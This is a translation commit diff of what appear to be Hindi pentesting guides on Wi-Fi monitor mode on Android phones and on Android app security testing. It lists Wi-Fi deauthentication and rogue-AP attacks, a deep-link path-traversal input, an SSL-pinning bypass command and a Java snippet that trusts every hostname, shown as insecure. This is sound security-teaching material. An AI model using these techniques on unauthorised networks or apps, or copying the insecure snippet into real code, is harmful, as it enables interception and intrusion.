Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 17:15:04 +00:00
parent 54e32e3c90
commit 5a86990fe4
9 changed files with 123 additions and 123 deletions

View File

@ -9,7 +9,7 @@
* NexMon Magisk मॉड्यूल जिसमें पैच किया गया फर्मवेयर + `libnexmon.so`
* मॉनिटर-मोड टॉगलिंग को स्वचालित करने के लिए Hijacker Android एप्लिकेशन
* वैकल्पिक Kali NetHunter chroot क्लासिक वायरलेस उपकरणों (aircrack-ng, wifite, mdk4 …) को सीधे आंतरिक इंटरफेस के खिलाफ चलाने के लिए
* वैकल्पिक Kali NetHunter chroot क्लासिक वायरलेस टूल (aircrack-ng, wifite, mdk4 …) को सीधे आंतरिक इंटरफेस के खिलाफ चलाने के लिए
यह तकनीक किसी भी हैंडसेट पर लागू होती है जिसमें एक सार्वजनिक रूप से उपलब्ध NexMon पैच है (Pixel 1, Nexus 6P, Galaxy S7/S8, आदि)।
@ -23,7 +23,7 @@
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (वैकल्पिक) Kali NetHunter या कोई भी Linux chroot जहां आप वायरलेस उपकरण चलाने का इरादा रखते हैं
* (वैकल्पिक) Kali NetHunter या कोई भी Linux chroot जहां आप वायरलेस टूल चलाने का इरादा रखते हैं
---
@ -102,13 +102,13 @@ wifite -i wlan0 # या aircrack-ng, mdk4 …
---
## संभावित सामान्य हमले
एक बार जब मॉनिटर + TX सक्रिय हो जाता है, तो आप कर सकते हैं:
* `wifite`, `hcxdumptool`, `airodump-ng` के साथ WPA(2/3-SAE) हैंडशेक या PMKID कैप्चर करें।
* क्लाइंट को फिर से कनेक्ट करने के लिए डिएक्टिवेशन / डिसएसोसिएशन फ्रेम इंजेक्ट करें।
* `mdk4`, `aireplay-ng`, Scapy, आदि के साथ मनमाने प्रबंधन/डेटा फ्रेम बनां।
* फोन से सीधे धोखाधड़ी AP बनाएं या KARMA/MANA हमले करें।
एक बार जब मॉनिटर + TX सक्रिय हो जाता है, तो आप:
* `wifite`, `hcxdumptool`, `airodump-ng` के साथ WPA(2/3-SAE) हैंडशेक या PMKID कैप्चर कर सकत हैं।
* क्लाइंट को फिर से कनेक्ट करने के लिए डिअथेंटिकेशन / डिसएसोसिएशन फ्रेम इंजेक्ट कर सकत हैं।
* `mdk4`, `aireplay-ng`, Scapy, आदि के साथ मनमाने प्रबंधन/डेटा फ्रेम बना सकते हैं।
* फोन से सीधे रॉग AP बना सकते हैं या KARMA/MANA हमले कर सकते हैं।
गैलेक्सी S10 पर प्रदर्शन बाहरी USB NICs के समान है (~20 dBm TX, 2-3 M pps RX)।
गैलेक्सी S10 पर प्रदर्शन बाहरी USB NICs (~20 dBm TX, 2-3 M pps RX) के समान है
---

BIN
src/images/discount.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

View File

@ -12,8 +12,8 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
यह मुख्य उपकरण है जिसकी आपको एक Android डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स का पढ़ना**, और अन्य कार्यों को सक्षम बनाती है।
यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स को पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है।
ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें।
@ -53,11 +53,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Looking for interesting Info
APK के **strings** पर एक नज़र डालकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **backdoors** या प्रमाणीकरण backdoors (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल्स) के लिए भी देखें।
APK के **strings** पर एक नज़र डालकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **backdoors** या प्रमाणीकरण backdoors (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल) के लिए भी देखें।
**Firebase**
**firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहां FIrebase के बारे में अधिक जानकारी और इसे कैसे शोषण करना है।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहां FIrebase के बारे में अधिक जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basic understanding of the application - Manifest.xml, strings.xml
@ -77,7 +77,7 @@ APK के **strings** पर एक नज़र डालकर आप **passw
### Tapjacking
**Tapjacking** एक हमला है जहां एक **malicious** **application** लॉन्च किया जाता है और **पीड़ित एप्लिकेशन के शीर्ष पर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
**Tapjacking** एक हमला है जहां एक **malicious** **application** लॉन्च किया जाता है और **पीड़ित एप्लिकेशन के शीर्ष पर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप को पास कर रहा है।\
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**
अधिक जानकारी प्राप्त करें:
@ -88,7 +88,7 @@ tapjacking.md
### Task Hijacking
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (इसलिए उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा होगा, यह सोचते हुए कि वह असली का उपयोग कर रहा है)।
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य हाइजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (इसलिए उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा होगा, यह सोचते हुए कि वह असली का उपयोग कर रहा है)।
अधिक जानकारी प्राप्त करें:
@ -100,21 +100,21 @@ android-task-hijacking.md
**Internal Storage**
Android में, **internal** storage में **stored** फ़ाइलें केवल उस **app** द्वारा **access** की जाने के लिए **design** की गई हैं जिसने उन्हें **create** किया है। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **share** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुच को **restrict** नहीं करते हैं, जिसमें संभावित रूप से दुर्भावनापूर्ण एप्लिकेशन भी शामिल हैं।
Android में, **internal** storage में **stored** फ़ाइलें केवल उस **app** द्वारा **access** की जाने के लिए **design** की गई हैं जिसने उन्हें **create** किया है। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और सामान्यतः अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **share** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुच को **restrict** नहीं करते हैं, जिसमें संभावित रूप से दुर्भावनापूर्ण एप्लिकेशन भी शामिल हैं।
1. **Static Analysis:**
- **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended or unauthorized access** के लिए **potentially expose** कर सकते हैं।
2. **Dynamic Analysis:**
- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर सेट की गई **permissions** क्या हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **readable या writable worldwide** पर सेट की गई हैं। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **read या modify** करने की अनुमति देगा।
- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर सेट की गई **permissions** क्या हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **readable या writable worldwide** पर सेट हैं। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **read या modify** करने की अनुमति देगा।
**External Storage**
**external storage** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए:
1. **Accessibility**:
- बाहरी संग्रहण में फ़ाइलें **globally readable और writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुच सकता है।
- बाहरी संग्रहण पर फ़ाइलें **globally readable और writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुच सकता है।
2. **Security Concerns**:
- पहुच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर **न रखें**
- पहुच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर न रखा जाए
- बाहरी संग्रहण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
3. **Handling Data from External Storage**:
- हमेशा बाहरी संग्रहण से प्राप्त डेटा पर **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
@ -124,7 +124,7 @@ Android में, **internal** storage में **stored** फ़ाइले
बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **access** किया जा सकता है।
> [!TIP]
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **क ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुच को सीमित करती है**। यह दुर्भावनापूर्ण एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुच प्राप्त करने से रोकता है।
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **िसी ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुच को सीमित करती है**। यह दुर्भावनापूर्ण एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुच प्राप्त करने से रोकता है।
**Sensitive data stored in clear-text**
@ -135,7 +135,7 @@ Android में, **internal** storage में **stored** फ़ाइले
**Accept All Certificates**
किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं, भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो:
किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -150,15 +150,15 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो salt के साथ brute-force **resistant** hashes का उपयोग किया जाना चाहिए।
डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो नमक के साथ **hashes** ब्रूट-फोर्स **resistant** का उपयोग किया जाना चाहिए।
### Other checks
- यह अनुशंसा की जाती है कि **APK को obfuscate** किया जाए ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखने के लिए अपने स्वयं के checks** करने चाहिए कि मोबाइल रूटेड है या नहीं और इसके अनुसार कार्य करना चाहिए।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे यह जांचना चाहिए कि क्या एक **emulator** का उपयोग किया जा रहा है।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी स्वयं की integrity की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा compiler/packer/obfuscator का उपयोग किया गया था।
- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखन चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
- [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/obfuscator का उपयोग किया गया था।
### React Native Application
@ -267,25 +267,25 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
डेवलपर्स को **debugging information** को सार्वजनिक रूप से उजागर करने के प्रति सतर्क रहना चाहिए, क्योंकि इससे संवेदनशील डेटा लीक हो सकता है। एप्लिकेशन लॉग की निगरानी के लिए [**pidcat**](https://github.com/JakeWharton/pidcat) और `adb logcat` उपकरणों की सिफारिश की जाती है ताकि संवेदनशील जानकारी की पहचान और सुरक्षा की जा सके। **Pidcat** को इसके उपयोग में आसानी और पठनीयता के लिए पसंद किया जाता है।
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
> [!WARNING]
> ध्यान दें कि **Android 4.0 से नए संस्करणों** में, **ऐप्लिकेशन केवल अपने स्वयं के लॉग तक पहुंचने में सक्षम होते हैं**। इसलिए ऐप्लिकेशन अन्य ऐप्स के लॉग तक पहुंच नहीं सकते।\
> फिर भी, यह अनुशंसा की जाती है कि **संवेदनशील जानकारी को लॉग न करें**
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
> Anyway, it's still recommended to **not log sensitive information**.
**Copy/Paste Buffer Caching**
Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। संवेदनशील अनुभागों के लिए **कॉपी/पेस्ट** कार्यों को अक्षम करना महत्वपूर्ण है, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए।
Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
**Crash Logs**
यदि एक एप्लिकेशन **crash** होता है और **logs** को सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजा जाना चाहिए, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए।
If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
ऐप्लिकेशन अक्सर Google Adsense जैसी सेवाओं को एकीकृत करते हैं, जो डेवलपर्स द्वारा अनुचित कार्यान्वयन के कारण अनजाने में **संवेदनशील डेटा लीक** कर सकते हैं। संभावित डेटा लीक की पहचान करने के लिए, यह सलाह दी जाती है कि **ऐप्लिकेशन के ट्रैफ़िक को इंटरसेप्ट करें** और देखें कि क्या कोई संवेदनशील जानकारी तीसरे पक्ष की सेवाओं को भेजी जा रही है।
Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
### SQLite DBs
@ -326,26 +326,26 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**संवेदनशील जानकारी का रिसाव**
**गतिविधियाँ भी परिणाम लौट सकती हैं**। यदि आप एक निर्यातित और असुरक्षित गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी लौटाती है**, तो यह संवेदनशील जानकारी का रिसाव है।
**गतिविधियाँ परिणाम भी लौट सकती हैं**। यदि आप एक निर्यातित और असुरक्षित गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है।
#### Tapjacking
यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ करें**। Tapjacking के बारे में अधिक जानकारी के लिए [**यहाँ लिंक का पालन करें**](#tapjacking)।
यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। [**Tapjacking क्या है, इसके बारे में अधिक जानकारी के लिए लिंक का पालन करें**](#tapjacking)।
### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर
[**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ यात्रा** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
[**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers)
[**Drozer के साथ सामग्री प्रदाताओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#content-providers)
### **सेवाओं का शोषण**
[**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\
याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं।
सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया लौटाता है** (या नहीं)। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
[**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services)
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
[**Drozer के साथ सेवाओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#services)
### **ब्रॉडकास्ट रिसीवर्स का शोषण**
@ -353,16 +353,16 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
याद रखें कि एक ब्रॉडकास्ट रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
एक ब्रॉडकास्ट रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\
[**Drozer के साथ ब्रॉडकास्ट रिसीवर्स का शोषण करना सीखें।**](#exploiting-broadcast-receivers)
[**Drozer के साथ ब्रॉडकास्ट रिसीवर्स का शोषण कैसे करें, यह जानें।**](#exploiting-broadcast-receivers)
### **स्कीमों / डीप लिंक का शोषण**
आप मैन्युअल रूप से डीप लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -371,7 +371,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ
```
**कोड निष्पादित किया गया**
**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा कॉल किया गया है और फ़ंक्शन **`onNewIntent`** को खोजें।
**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा बुलाया गया है और फ़ंक्शन **`onNewIntent`** को खोजें।
![](<../../images/image (436) (1) (1) (1).png>)
@ -381,7 +381,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ
**पैरामीटर पथ में**
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **Open Redirect** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है।
**अधिक उदाहरण**
@ -400,7 +400,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ
#### SSL पिनिंग
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर ही संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
#### ट्रैफ़िक निरीक्षण
@ -416,7 +416,7 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
- स्वचालित रूप से **apk को संशोधित करें** ताकि **SSL पिनिंग को बायपास** किया जा सके [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
- आप **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई) इस सुरक्षा को बायपास करने के लिए। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- आप **objection** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- आप **objection** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
